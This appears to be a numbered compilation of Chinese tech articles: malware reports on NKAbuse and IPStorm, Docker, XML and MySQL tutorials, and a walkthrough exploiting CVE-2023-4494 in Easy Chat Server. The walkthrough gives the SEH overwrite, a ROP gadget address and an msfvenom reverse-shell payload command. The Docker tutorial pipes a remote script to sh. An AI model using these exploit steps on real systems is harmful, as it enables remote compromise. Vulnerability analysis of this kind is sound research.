  10. 研究人员发现一款基于Go的多平台恶意软件——NKAbuse,这是首个发现的滥用新网络技术(NKN)进行数据交换的恶意软件。 NKN NKN(新网络技术)是一种使用区块链技术管理资源和维护安全以及透明模型的去中心化点对点网络协议。NKN的作用之一是优化数据传输速率和网络延迟,具体步骤是通过计算高效的数据包传递路径来实现的。与Tor网络类似,个人用户可以通过运行节点加入NKN网络。目前,NKN网络有大约60710个节点,大量阶段的参与可以增强网络的鲁棒性、去中心化、以及处理大量数据的能力。 图 NKN的数据流动 NKAbuse恶意软件 NKAbuse是一款基于Go的多平台恶意软件,这是首个滥用新网络技术(NKN)进行数据交换的恶意软件,主要攻击位于墨西哥、哥伦比亚和越南的Linux主机。其中一个NKAbuse感染的案例利用了Apache Struts漏洞(CVE-2017-5638)来攻击金融机构。虽然大多数攻击的目标是Linux计算机,但恶意软件也可以入侵物联网设备,并支持MIPS、ARM和386架构。 DDoS攻击 NKAbuse录用NKN公链协议来实现大量的洪泛攻击,并在Linux系统中植入后门。具体来说,恶意软件客户端与僵尸主机通过NKN来发送和接收数据。C2发送的payload命令包括针对特定目标的HTTP、TCP、UDP、PING、ICMP、SSL洪泛攻击等。 图 DDoS攻击命令 所有这些payload之前也被用于僵尸网络,因此当与NKN相结合后,恶意软件就可以等待管理主机发起混合攻击。 RAT 除了DDoS能力外,NKAbuse还可以在被入侵的系统中作为远程访问木马(RAT),允许其运营者进行命令执行、数据窃取和截屏等操作。 图 NKAbuse的截屏功能 NKAbuse滥用NKN发起的DDoS攻击很难溯源到特定的基础设施,并且不会被大多数安全工具标记因为来源于一个新的协议。而使用区块链技术可以确保可用性,复杂的攻击源头使得这一威胁变得很难应对。 更多参见:https://securelist.com/unveiling-nkabuse/111512/
  11. 2023年11月,IPStorm基础设施被FBI拆除,同时对与IPStorm恶意软件有关的相关个人进行了定罪。这是当前打击网络威胁工作中的一个重要里程碑。 本文将对IPStorm恶意软件的变体和功能进行深入介绍。 2019年5月,来自anomaly的研究人员发现了一种新的针对Windows的Golang恶意软件,他们将其命名为IPStorm。IPStorm是一种僵尸网络,它滥用名为星际文件系统(IPFS)的合法点对点(p2p)网络作为掩盖恶意流量的手段。据发现,该恶意软件允许攻击者在受害者的Windows计算机上执行任意PowerShell命令。 研究人员最近确定了针对各种Linux架构(ARM, AMD64, Intel 80386)和平台(服务器,Android, IoT)的IPStorm新Linux变体并检测到一个macOS变体。在本文发布时,macOS变体和大多数Linux样本在VirusTotal中完全未被检测到。IPStorm是用Golang编写的,这使得Intezer能够检测到Linux样本和由anomaly首先报告的Windows恶意软件之间的跨平台代码连接。 linux变体比Windows变体有更多的功能,比如使用SSH暴力破解来传播给更多的受害者,以及滥用Steam游戏和广告平台的欺诈性网络活动。linux变体调整了一些功能,以解释该操作系统和Windows之间存在的根本差异。 接下来将介绍IPStorm Windows和Linux样本之间的代码关系图,分析其中一个Linux变体的行为,并将其功能和功能与旧的Windows样本进行比较,以跟踪其演变。 IPStorm技术分析 大多数IPStorm Linux样本在我们将它们提交给Intezer进行分析之前是完全未被检测到的。 在这篇文章中,我们将重点关注658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 Linux样本。 658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117在VirusTotal中未检测到样本 由于IPStorm是用Golang编写的,我们不仅可以观察到不同Linux变体之间的强代码连接,还可以识别到2019年上传至Intezer的IPStorm Windows样本的连接。 由Intezer分析分类的IPStorm恶意软件家族样本 下图强调了不同版本和操作系统之间的代码相似性。节点表示单个样本,线条表示它们之间的代码关系,所有的样本都以某种方式相互联系。 不同样本间的IPStorm代码相似性图。节点表示单个样本,线条表示它们之间的代码关系 该图描绘了三个主要的集群,每个集群都包含具有强代码连接的样本: PE, intel 80386架构; ELF, intel 80386架构; ELF和x86-64架构; 你还会注意到ELF集群和ELF和PE intel 80386架构集群之间存在共享代码。 你可以使用这个GitHub存储库中的cluster_directory.py API脚本来创建你自己的集群图。 IPStorm Linux变体活动流程 去除Linux的变体符号,使用插件IDAGolangHelper,我们检索了文件的符号,并准确地看到了恶意软件包含哪些包。在Go语言中,包是一群组成特定功能的Go源文件,每个Go源文件都属于一个包。 Linux恶意软件的主要逻辑是在一个名为storm_starter的包中实现的,这是一个Windows变体中没有的新包。所有的逻辑都是通过Windows变体的main函数实现的。 这两个版本在实现主要流程的方式上有相似之处,但是,由于两个操作系统之间存在差异,Linux实例具有额外的功能并调整了一些逻辑。 Linux迭代首先禁用内存不足(OOM)杀手程序,以防止它终止恶意软件,随后继续检查以防止病毒或其他恶意软件进一步执行与安全工具有相关的任何进程。接下来,恶意软件生成公钥将其保存在一个名为strom.key的文件中。这个密钥保存的位置是基于恶意软件被执行时的权限。如果恶意软件以root权限执行,密钥将存储在/etc/storm.key;否则,将保存在/tmp/storm.key下。然后,恶意软件试图与点对点网络中的其他节点建立连接。 恶意软件向不同的服务发送HTTP请求,如diagnostic[.]opendns[.]com/myip, ifconfig[.]io/ip和myip[.]dnsomatic[.]]com接收受害服务器的外部IP地址。如果恶意软件以root身份运行,它将在systemd下创建一个服务来实现持久化,并将自己复制到/usr/bin/storm,否则将被拷贝到/tmp/storm目录下;然后,恶意软件将从新的安装路径重新启动。 这个新进程负责执行IPStorm恶意软件的主要功能,包括之前在Windows变体中看到的逆向shell,维护与P2P网络中其他对等节点的连接,以及将恶意软件传播给其他受害者的新功能。 IPStorm Linux输出非特权用户 Linux与Windows比较 比较IPStorm linux变体0.2.05a和Windows变体0.0.2m可以发现,开发者添加了一些功能,并修改了现有的功能来攻击Linux平台。 包比较 该恶意软件由不同的Golang包组成,每个包提供不同的功能。下表对两个版本之间的包比较进行了分类: 注:我们将linux变体0.2.05a与Windows变体0.0.2m进行了比较,将后者在anomaly的报告中进行了分析。然而,恶意软件经常被更新,我们已经观察到多个不同的版本,它们之间的功能也可能不同。 功能比较 扫描工具: Android和SSH暴力破解 Linux变体试图通过SSH暴力破解在互联网上传播和感染其他受害者。一旦建立连接,恶意软件将通过比较受攻击服务器的主机名和字符串“svr04”(这是corie SSH蜜罐的默认主机名)来检查受害服务器是否是蜜罐。如果恶意软件识别到蜜罐,它将关闭连接,否则它将继续下载有效载荷并感染服务器。 验证服务器是否为蜜罐 linux变体特有的另一种传播方法是搜索潜在的Android受害者,恶意软件检查连接ADB (Android Debug Bridge)到受害节点的设备。一旦识别出来,它就会将之前从P2P网络下载的Android版本的IPStorm上传到设备上。 来自storm服务日志的屏幕截图,显示下载的文件 绕过杀毒软件 IPStorm Windows和linux变体都实现了与检测逃避相关的功能,每个版本使用不同的技术。在linux变体中,负责此逻辑的包称为storm_malware_guard。该文件遍历所有当前运行的进程,以便找到并终止可能检测到恶意软件活动的进程。 storm_malware_guard包中实现此技术的函数称为KillSuspiciousProcesses。这个包中的其他函数负责获取有关CPU和内存使用情况、I/O端口数量以及返回有关进程和线程信息的函数的信息。 在Windows变体中,逃避逻辑是在一个名为avbypass的包中实现的。该技术基于随机睡眠时间和多个函数调用,此方法的目的是使反病毒解决方案更难跟踪原始进程。 似乎由于不同的操作系统,每个版本的IPStorm都有自己的逃避检测的方法。 逆向shell 两个版本的IPStorm都使用backshell这个名称来指代逆向shell的功能,Linux变体的backshell功能与Windows变体相同。 Windows变体有一个名为powershell的包,其中包含实现逆向shell的函数。linux变体中也有相同的包,但它只包含一个函数:storm_powershell__ptr_Backend_StartProcess。该函数用于获取受感染系统的逆向shell。 逆向shell的实现是两个IPStorm变体之间代码重用连接的一个清晰样本。下面的截屏显示了两个版本中文件名的变化和相同的函数名: Linux: windows: 持久性 linux变体只有在以root权限执行时才会尝试获得持久性,另一方面,Windows变体总是希望获得持久性。恶意软件的每个变体,Linux和Windows,都使用不同的技术来获得持久性,因为它们针对的操作系统根本不同。 Windows变体通过将自身复制到随机位置并将程序添加到HKCU:SoftwareMicrosoftWindowsCurrentVersionRun注册项来实现持久性。 linux变体通过在/etc/systemd/system/storm.service下创建systemd服务来实现持久化。 /etc/systemd/system/storm.service 在Linux变体中实现持久性的函数 另一个区别是文件被复制到的位置。Windows变体使用随机文件路径,linux变体使用固定路径。 网络流量 除了创建逆向shell之外,我们还发现IPStorm的Linux变体利用其广泛传播的优势在backshell执行不同的欺诈活动,滥用游戏和广告盈利。由于它是僵尸网络,恶意软件利用来自不同可信来源的大量请求,因此不会被阻止或追踪。 在Windows变体中没有观察到这种活动。 Steam游戏欺诈 Steam是Valve公司推出的一款受欢迎的游戏服务,在全球拥有数亿用户,它还为想要在自己的网站上使用Steam数据的开发者提供了一个API。 作为游戏开发者盈利过程的一部分,Steam用户可以购买和出售不同的道具,如装备、皮肤和其他游戏内元素。这个平台非常受欢迎,已经成为网络罪犯的热门目标。 攻击者使用的一种已知方法是创建网络钓鱼网站,引诱用户提交他们的Steam登录凭证,通过访问用户的凭据,攻击者可以完全访问该帐户,包括API密钥。 IPStorm生成了大量的流量到Steam的API,查询各种Steam用户的数据,并使用多个有效的API密钥。 目前怀疑这些被盗账户是被监控的虚假交易骗局的一部分。 广告欺诈 该恶意软件生成模仿虚假广告点击的请求。我们追踪到的所有广告都与色情网站有关,恶意软件在不同的预定义网站上爬行,搜索广告iframe,并通过浏览iframe来模仿用户的“点击”。 恶意软件向广告平台生成请求的样本 恶意软件爬过的网站 IPStorm检测 受攻击系统检测 可以通过以下步骤检查系统是否被IPStorm恶意软件攻击。 1.执行pstree | grep storm,检查系统是否启动IPStorm进程。 IPStorm通常使用多线程运行。 2.执行sudo systemctl status strom.service命令,检查系统上运行的服务,因为如果恶意软件以root权限执行,它将创建一个用于持久化的服务。 3.检查系统中是否存在IPStorm的文件。 执行sudo find / -name “storm*” -type f命令 3.1在非root执行的情况下,输出将类似于下面的屏幕截图: 3.2如果恶意软件以root权限执行,输出将类似于下面的屏幕截图: 4.检查系统上开放的端口以及与之关联的进程。执行sudo ss -tulpn命令,在下面的屏幕截图中,属于IPStorm恶意软件的许多进程监听特定端口。 5.免费使用Intezer Protect社区测试版来识别系统上正在运行的进程。下面的屏幕截图来自服务器上执行的IPStorm警报,系统提供的信息包括恶意软件家族名称,可执行文件的完整路径,进程ID,执行时间,以及到Intezer的链接,你可以在此恶意软件中观察到普遍的代码重用。 系统受攻击后如何终止IPStorm 1.如果恶意软件作为服务运行,则应执行sudo systemctl stop storm.service命令停止该服务: 2.删除所有与IPStorm恶意软件相关的文件。 3.执行sudo pkill -9 storm命令终止该进程 IPStorm响应 我们提供了一个YARA规则,旨在针对内存中的工件运行,以便能够检测这些植入程序。 系统安全加固 1.确保SSH连接是安全的。使用密钥代替密码或使用多因素身份验证,浏览此处获取有关SSH加固的更多提示。 2.确保系统更新到最新的软件,并与最新的安全最佳实践保持一致。 3.使用运行时云工作负载保护解决方案,如Intezer Protect。Protect提供了对系统中代码的完整运行时可见性,并对偏离安全基线的任何可疑或未经授权的代码发出警报。 总结 IPStorm背后的攻击者非常活跃,频繁发布具有新功能和改进的更新版本,以及扩展到几个不同的平台和架构,现在带有Linux恶意软件的IPStorm是在Golang开发的跨平台恶意软件的最新样本。被IPStorm攻击的平台不仅暴露于其服务的后门,而且还被添加到IPStorm僵尸网络中,试图传播给其他受害者。在过去的六个月里,人们发现了越来越多的Golang ELF恶意软件攻击服务器,IPStorm是其中的一部分,其他恶意软件还有Kaiji、Kinsing和FritzFrog。
  12. 勤加练习,记住 本文参考:大佬的文章 Docker 项目的目标是实现轻量级的操作系统虚拟化解决方案,使用Docker,开发和测试可以快速部署和迁移环境,并且能保证环境的一致性,从而提升软件的开发和维护效率。 与虚拟机相比,docker有优点也有缺点,具体可以看下图: 特性容器虚拟机启动秒级分钟级硬盘使用一般为MB一般为GB性能接近原生弱于系统支持量单片机支持上千个容器一般是几个 docker安装 linux换源 https://blog.csdn.net/qq_40520596/article/details/110194439 自动安装: curl -sSL https://get.daocloud.io/docker | sh 手动安装: 1.删除旧版本 yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce 2.设置源仓库 第二步,设置仓库。新主机上首次安装Docker Engine-Community之前,需要设置Docker仓库。此后可从仓库安装和更新Docker。 在设置仓库之前,需先按照所需的软件包。yum-utils提供了yum-config-manager,并且device mapper存储驱动程序需要device-mapper-persistent-data和lvm2。 $ sudo yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 执行上述命令,安装完毕即可进行仓库的设置。使用官方源地址设置命令如下: sudo yum-config-manager \ --add-repo \ https://download.docker.com/linux/centos/docker-ce.repo 通常,官方的源地址比较慢,可将上述的源地址替换为国内比较快的地址: 阿里云:http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 清华大学源:https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/centos/docker-ce.repo 仓库设置完毕,即可进行Docker的安装。 3.安装 sudo yum install -y docker-ce docker-ce-cli containerd.io yum install -y docker-ce 安装参考:https://juejin.cn/post/7125218891642437640 docker docker的整个生命周期有三部分组成:镜像(image)+容器(container)+仓库(repository); 容器是由镜像实例化而来,这和我们学习的面向对象的概念十分相似,我们可以把镜像看作类,把容器看作类实例化后的对象. 也可以说镜像是文件, 容器是进程。 容器是基于镜像创建的, 即容器中的进程依赖于镜像中的文件, 这里的文件包括进程运行所需要的可执行文件, 依赖软件, 库文件, 配置文件等等… docker进程相关命令: systemctl start docker #启动docker服务 systemctl stop docker #停止docker服务 systemctl restart docker#重启docker服务 systemctl status docker #查看docker服务状态 systemctl enalbe docker #设置开机自启动服务 systemctl disable dockers #关闭开机自启动 docker容器管理命令: docker run -i -t ubuntu:17.10 /bin/bash 参数说明: -i: 保持容器运行.通常于-t同时使用.加入it这两个参数后,容器创建后自动进入容器中,退出后,容器自动关闭 -t: 为容器从新分配一个伪终端,通常与-i同时使用. -d: 以守护(后台)模式运行容器,创建一个容器在后台运行,需要使用docker exec进入容器.退出后,容器不会关闭 -it: 创建的容器一般称伪交互式容器 –name: 为创建的容器命名 docker ps #查看正在运行的容器 docker ps -s -a #查看当前所有容器 docker stop 容器名称 #停止容器 docker restart 容器名称 #重启容器 docker kill 容器名称 #杀死容器 docker rm -f 容器名称或容器id #删除已经停止的容器 ps: 1.docker kill和docker stop的区别与联系 相同点:两者都是停掉容器,并把容器状态指定到stopped。 不同点:被kill杀死容器,进入stopped状态被重新start后,会开启新的进程号;被stop停掉的容器,再次被重新start后,进程号不变,还是原来的 2.停止所有容器运行:docker stop $(docker ps -a -q) 删除所有停止运行的容器:docker rm $(docker ps -a -q) # $()返回括号中执行的任何结果 3.这部分内容有更细的参考: https://www.cnblogs.com/davis12/p/14456227.html https://twle.cn/l/yufei/docker/docker-basic-run.html https://www.jb51.net/article/277278.htm docker镜像管理命令 docker images #查看当前机器的所有镜像 docker images -q # 查看当前所有镜像的id docker search 镜像名称 # 搜索镜像,网络中查找需要的镜像 docker pull 镜像名称 #从Docker仓库拉取镜像,名称:版本号 docker push 镜像名称 #推送镜像 docker rmi 镜像名称/镜像id #删除本地机器的镜像 docker rmi docker images -q #删除所有本地镜像 docker tag 镜像名称:tag 镜像名称:tag #为一个镜像打tag docker save {image_name}.tar #解压一个镜像tar包 docker 查看日志信息 docker logs -f 容器名称 #查看容器日志 docker info #查看docker服务的信息 docker inspect 容器名称 #获取镜像的元信息,详细信息 与容器交互的命令: 进入正在运行的容器 docker exec -it 容器ID或者容器名 /bin/bash `exec的意思是在容器中运行一个命令. /bin/bash是固有的写法,作用是因为docker后台必须运行一个进程,否则容器就会退出,在这里表示启动容器后自动bash 退出容器 exit #退出也关闭容器; Ctrl+p+Q #退出不关闭容器 创建启动容器时,使用-v参数设置数据卷 docker run … -v 宿主机目录或文件 数据卷是宿主机的一个目录或文件 目录必须是绝对路径 如果目录不存在,会自动创建 可以挂载多个数据卷 拷贝文件 docker cp 主机文件路径 容器ID或容器名:容器路径 #宿主机文件拷贝到容器中 docker cp 容器ID或容名:容器路径 主机文件路径 #容器文件考本到宿主机中 作业
  13. 一,xml概述 1.1引入 在我们日常生活中我们在各种网站上面个看到他们都有天气什么的,他们展示的形式可能不同,但他们所用的数据是一样的,那他们肯定已不是从卫星直接获取的而是从国家的一些平台获取的 但是在获取他们的数据的时候他,因为有很多种语言都能写后端,们不可能是用你的那种语言写的格式,他要针对所有的平台进行发布,就用到了xml格式: XML数据格式最主要的功能就是数据传输(就是从一个网站传到另一个网站) XML数据格式还有什么用途呢? 配置文件: config.xml (我们一个网站可能有几种语言编写,我们不可能给每种语言都配置相应的文件,我们就能用xml格式让他们都能用) 储存数据: 当作小型数据库 data.xml xml的效果:使数据具有结构性,易读易处理 什么是XML XML指的是可扩展性标记语言(html也是一个标记性语言); XML被发明的目的是传输和存储数据,而不是展示数据; XML的标签必须自定义,在写标签名的时候一定要有含义; XML是W3C推举的数据传输格式; 如何自己写一段XML? <root> #所有的XML必须有一个根节点 <user>内容</user> <msg>内容</msg> </root> XML和HTML有哪些区别? 1:HTML标签不能自定义,XML标签只能自定义; 2:HTML语法要求不严格,XML标签语法要求极其严格,必须是成对标签; 3:XML用来传输和存储数据,HTML用来展示数据; 二,XML的基本语法 语法规则 XML必须有根节点; 根节点就是所有节点的父级节点(习惯是用root,但也可以自己定义) XML的头声明可有可无,但是建议写 因为编码很重要 所有XML标签都要成对出现 标签名大小写敏感 标签不能交叉 特殊符号要用实体转义 在xml中需要转义的字符有: < < > > & & ‘ ‘ ” “‘ <?xml version="1.0" encoding="utf-8" ?> #头声明 <root> <define>text</define> <!-- <a>这是注释</a> --> <msg> 如果a < b ,就正确</msg> # 转义 </root> 元素属性 属性原则: 一个标签可以有多个属性 属性的值必须用双引号或单引号引起来 命名规则:数字字母下划线,不能让数字开头 属性就是表示标签的 一些额外信息; XML中属性就是个鸡肋(食之无肉,弃之有味) 在解析XML数据时,属性会带来额外的解析代码; CDATA <?xml version="1.0" encoding="utf-8" ?> #头声明 <root> <man> <name> <!--<![CDATA[ 不解析的内容 ]]>--> <msg><![CDATA[尼古拉斯赵四说2>3]]</msg> </name> </man> </root> 注意特殊字符较少时特殊字符有实体,较多时用CDATA(要大写) 三,使用PHP解析XML XML时一种数据传输格式,当PHP接收到数据就是一段XML的时候,我们的PHP应该怎么处理XML数据呢? 在PHP5版本后,其提供了一个非常强大的类库,SimpleXML类库,专门有于实现对XML文档的解析操作. XML解析原理 PHP解析三步: 1:读取XML文档到内存 2:形成DOM树 3:由DOM树生成对象并返回; <?php // simplexml_load_file 解析XML文档,返回PHP对象 # file_get_contents("") 读普通文件 $x = simplexml_load_file('3.1.xml'); echo $x->man[0]->name ?> php解析生成的DOM树: 遍历XML数据 <?php $x = simplexml_load_file('3.1.xml'); foreach($x->man as $v){ echo $v->name; } $c=count($x->man); for($i=0;$i<$c;$i++){ echo $x->man[$i]->name; } ?> 使用simpleXML增加节点 <?php $x = simplexml_load_file('3.1.xml'); //对象中的addChild方法创建节点 $man = $x->addChile('man') //对象中的addChild方法创建节点并给创建后的节点添加内容 $man->addChile('name','玉帝'); $man->addChile('age','999'); //将添加的对象重新解析成XML文档,写入文件 $x->asXML('3.1.xml'); ?> 案例 表单提交页面: 后端: 四,Xpath语言 概述 他是一门专门用于查找XML数据内容的语言; 他是用来在XML文档中对元素及属性进行遍历; 使用及其语法 绝对路径查找: 相对路径查找: 其他查找:
  14. 漏洞概述 Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。近日,安全研究人员发现该软件还存在基于栈溢出的漏洞,漏洞编号CVE-2023-4494。该漏洞源于使用HTTP GET对register.ghp文件进行访问时,未检查用户提交的username值的长度是否超过限制,从而使栈缓冲区溢出,覆盖其他内存空间,可导致任意代码执行。 影响范围 <=3.1 复现环境 操作系统:Win7 sp1,Kali linux 分析工具:IDA,Windbg,OLLYDBG,Burp Suite 漏洞复现 安装3.1版本的Easy Chat Server程序,安装完成后主程序路径为C:\EFS Software\Easy Chat Server\EasyChat.exe。当前服务器IP为192.168.220.128,启动主程序后,主界面如下图所示: 使用浏览器对主页进行访问,Web主界面如下图所示: 根据CVE官方公告,使用HTTP GET对register.ghp文件进行访问时,username字段可导致漏洞产生。所以使用浏览器访问http://192.168.220.128/register.ghp?username=test进行尝试,Web响应界面如下图所示: 可以看出,register.ghp可能是用户注册页面。同时反编译EasyChat.exe程序,发现还需要传递Password等字段。反编译如下图所示: 再次使用浏览器访问http://192.168.220.128/register.ghp?username=test&&password=testpwd进行尝试,同时使用Burp Suite进行抓包。根据抓取的数据包,对username字段进行fuzz,尝试找到使主程序崩溃的username值。Burp Suite设置如下图所示: 当username字段的值为485个A时,Easy Chat Server没有响应HTTP 200,此时Easy Chat Server主程序已经崩溃,说明此时的username值可能导致了漏洞,如下图所示: 漏洞分析 根据以上复现情况,找到了使Easy Chat Server主程序崩溃的username值,但是还没有确定是否是溢出而导致的崩溃。重启Easy Chat Server主程序,使用Windbg附加调试,再用Burp Suite将上述复现时的数据包发送到Easy Chat Server主程序。Windbg立即捕获到异常,如下图所示: 从Windbg中的函数调用堆栈中可以看到,异常发生在HeapFree函数内部。该函数的功能是释放堆内存空间,从代码中可以看出,试图读取一个不存在的地址41414145的数据,导致了异常。另外,函数调用堆栈中出现大量非法的内存指针值和username中的A字符(十六进制41),似乎是函数返回地址被大量A覆盖了。为了更直观的调试,重启Easy Chat Server主程序,使用OLLYDBG附加调试。在上述出现异常的HeapFree函数地址441AFD处下断点,再用Burp Suite发送异常数据包。在异常发生前最后一次HeapFree处停下,观察函数堆栈,如下图所示: 此时栈中出现大量HTTP GET发送的username字段值,继续往下查看,发现堆栈中结构化异常处理(SEH)地址已被username字段的值覆盖为41414141,说明发生了栈溢出,如下图所示: 由于堆栈地址并不是固定的,不方便下断点。所以从异常发生的前一次HeapFree函数地址处单步调式,观察堆栈SEH地址变化。经过多次调试,发现在地址4114FB处的sprintf函数调用,覆盖了SEH和函数返回地址等值,如下图所示: 此时Buffer变量大小为256,小于HTTP GET时提交的username的大小485,导致栈溢出,从而导致后面调用HeapFree函数也异常,如下图所示: 调用sprintf函数前SEH和函数返回地址,如下图所示: 漏洞利用 从上述的分析中可以看出,调用sprintf函数拼接username字段前,没有检查username的长度是否超出限制,并且username字段可控,导致栈溢出,可以覆盖SEH和函数返回地址,导致任意代码执行。 对于此类漏洞的利用,一般来说可以将SEH函数地址或者函数返回地址覆盖为栈中可控内容的地址,比如username字段对应的栈地址。但是由于栈地址不固定,需要借助一些固定的代码地址作为跳板,构建ROP(Return-oriented programming)链,跳转到可控内容地址执行任意代码。如果程序开启了DEP(数据执行保护),还需要使用ROP链关闭DEP。 经查,该程序未开启DEP,如下图所示: ROP链使用SSLEAY32.DLL地址为1001AE86处的“pop ebp”,” pop ebx”和“retn”指令,将该地址覆盖到SEH函数处,如下图所示: 利用该漏洞执行的代码,笔者这里使用msf的上线payload(载荷)。值得注意的是,payload中不能有00或空格等字符,以免发生截断,导致利用失败。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b "\x00\x20" -v shellcode生成python格式的payload,如下图所示: 整个漏洞利用结构示意图,如下图所示: 使用python编写利用脚本,如下图所示: 最后在kali中启动msf,监听对应的端口8888,运行漏洞利用脚本,msf成功上线,如下图所示: POC https://www.ddpoc.com/poc/DVB-2023-5622.html
  15. 一· 1.社区版mysql官方地址 http://dev.mysql.com/downloads/windows/installer/8.0.html 2.phpstudy一定要关了里面集成有mysql 3.命令行(管理员) 启动 net start mysql80 关闭 net stop mysql80 命令行(非管理员 连接数据库 mysql [-h 127.0.0.1] [-P 3306] -u root -p 4.mysql 1.关系型数据库:通过表来存储数据的数据库 \非关系型数据库:不通过表来存储数据的数据库 2.数据模型:客户端——DBMS——数据库(多个—–表(存放数据)(多个 二· 1.通用语法 1.sql语句可单行或多行,以分号结尾。 2.可用空格或缩进来增强可读性 3.mysql数据库不区分大小写(关键字建议用大写 4.单行注释( –或者# ) 多行注释( /*内容*/ ) 2.sql分类 1.DDL(data definition language)数据定义语言,用来定义数据库对象(数据库,表,字段) 2.DML(data manipulation language)数据操作语言,用来对数据库中的数据进行曾删改 3. DQL(data query language)数据库查询语言,用来查询数据库中表的记录 4.DCL(data control language)数据库控制语言,用来创建数据库用户,控制数据库的访问权限 DDL 1.数据库操作 查询所有数据库SHOW DATABASES; 查询当前数据库SELECT DATABASE(); 创建:CREATE DATABASE [IF NOT EXISTS] 数据库名 [DEFAULT CHARSET 字符集] [COLLATE 排列顺序]; 删除:DROP DATABASE [IF EXISTS]数据库名; 使用:USE 数据库名; 2. 表操作 CREATE TABLE 表名( 字段1 字段1类型 [COMMENT 字段1的注释], 字段2 字段2类型 [COMMENT 字段2的注释], 字段3 字段3类型 [COMMENT 字段3的注释], …… 字段n 字段n类型 [COMMENT 字段n的注释], )[COMMENT 表注释]; 数值:Age TINYINT UNSIGNED Socre double(4,1) 字符:char(10)不足10个字符自动补上空格 varchar(10)性能较差 时间:birthday date 查询当前数据库中的所有表:SHOW TABLES; 查询表结构:DESC 表名; 查询指定表的建表语句:SHOW CREATE TABLE 表名; 3.修改 添加字段: ALTER TABLE 表名 ADD 字段名 类型(长度)[COMMENT注释][约束]; 修改数据类型: ALTER TABLE 表名 MODIFY 字段名 新数据类型(长度); 修改字段名和字段类型 ALTER TABLE 表名 CHANGE 旧字段 新字段名 类型(长度)[COMMENT注释][约束]; 删除字段: ALTER TABLE 表名 DROP 字段名; 例:alert table emp add nickname varchar(20) comment ‘昵称’; ALTER table emp change nickname username varchar(30) comment ‘用户名’; ALTER TABLE EMP DROP username; 修改表名: ALTER TABLE 表名RENAME TO 新表名; 删除表: DROP TABLE[IF EXISTS] 表名; 删除指定表,并重新创建该表: TRUNCATE TABLE 表名; (只删除内容,不删除字段和框架) 例:alter table emp rename to employee; drop table if exists tb_user; truncate table employee MYSQL图像化界面工具: sqlyog navicat datagrip DML(数据操作语言) 1. 添加数据 给指定字段添加数据: INSERT INTO 表名 (字段1,字段2,,,) VALUES(值1,值2,,,,); 给全部字段添加数据: INSERT INTO 表名 VALUE (值1,值2,,,,); 批量添加数据: INSERT INTO 表名 (字段名1,字段2,,,) VALUES (值1,值2,,,), (值1,值2,,,), (值1,值2,,,); INSERT INTO 表名 VALUES (值1,值2,,,), (值1,值2,,,), (值1,值2,,,); 修改数据 UPDATE 表名 SET 字段名1=值1,字段名2=值2,,,,,[WHERE 条件]; 删除数据 DELETE FROM 表名 [WHERE 条件]; DQL SELECT 字段列表 FROM 表名列表 基本查询 WHERE 条件列表 条件查询 GROUP BY 分组字段列表 聚合函数(count,max,min,avg,sum) HAVING 分组后条件列表 分组查询 ORDER BY 排序字段列表 排序字段查询 LIMIT 分页参数 分页查询 基础查询 1,查询多个字段 SELECT 字段1,字段2,字段3……FROM 表名; SELECT * FROM 表名; 2,设置别名 Select 字段1[AS 别名1],字段2[AS 别名]…… FROM 表名; 3,去除重复记录 SELECT DISTINCT 字段列表 FROM 表名; 条件查询 1,语法 SELECT 字段列表 FROM 表名 where 条件列表; 2,条件 select * from emp where age<23 && age>=18; select *from emp where age between 12 and 30;select *from emp where idcard is not null;select *from emp where age <> 20;select *from emp where gender =’女’ and age<28; select *from emp where age =23 or age =22 or age =29; select *from emp where age in(22,23,29);select *from emp where name like ‘__’; select *from emp where idcard like ‘%9’; 3,聚合函数:将一列数据作为一个整体,进行纵向计算. Count 统计数量 max 最大值 min 最小值 avg 平均值 sum 求和 Select 聚合函数(字段列表) FROM 表名; select count(*) from emp; select avg(age)from emp; select max(age)from emp; select min(age)from emp; select sum(age) from emp where workaddress = ‘背景’; *所有的null值不参与运算; 4.分组查询 Select 字段列表 from 表名 [where 条件] group by 分组字段名 [having 分组过滤条件]; Where和having区别 执行条件不同:where是分组前进行过滤,having是分组之后对结果进行过滤。 判断条件不同; where不能对聚合函数进行判断,而having可以。 执行顺序:where > 聚合函数>having 分组之后,查询的字段一般为聚合函数和分组字段,查询其他字段无任何意义 select gender, count(*)from emp group by gender ; select gender,avg(age) from emp group by gender; select workaddress,count(*) from emp where age<45 group by workaddress having count(*) >=3; select workaddress,count(*) address_count from emp where age<45 group by workaddress having address_count >=3; 5.排序查询 SELECT 字段列表 FROM 表名 ORDER BY 字段1 排序方式1,字段2,排序方式2; ASC升序 DESC 降序 第一个相同才根据第二个字段进行排序 select *from emp order by age desc; select * from emp order by age; select * from emp order by entrydate desc; select * from emp order by age asc ,entrydate desc; 6,分页查询 SELECT 字段列表 FROM 表名 LIMT 起始索引 ,查询记录数; 注意: 起始索引从零开始,起始索引=(查询页码-1)*每页显示的记录数. 分页查询是数据库的方言,不同的数据库有不同的实现,mysql中是LIMT . 如果查询的是第一页数据,起始索引可以省略,直接简写为limit 10. select * from emp limit 0,5; select * from emp limit 5; select * from emp limit 5,5; dql巩固加强: select * from emp where gender =’女’and age in(20,21,23); select * from emp where gender =’男’ and age between 20 and 40 and name like ‘___’; select gender,count(*) from emp where age<60 group by gender; select name ,age from emp where age<=35 order by age , entrydate desc; select * from emp where gender = ‘男’and age between 20 and 40 order by age asc,entrydate asc limit 5; 执行顺序: 1,from 2,where3,group by having 4,select 5.ouderby 6.limit; select name,age from emp where age>15 order by age asc; select name,age from emp e where e.age>15 order by age asc; select e.name,e.age from emp e where e.age>15 order by age asc; select e.name ename,e.age eage from emp e where e.age>15 order by eage asc; DCL 控制数据库有哪些用户可以访问 控制每个用户有怎样的访问权限 1.查询用户 Use mysql; Select * from user; 2.创建用户 Create user ‘用户名’@’主机名’ IDENTIFIED BY ‘密码’; 3.修改用户密码 ALTER USER ‘用户名’@’主机名’ identified WITH 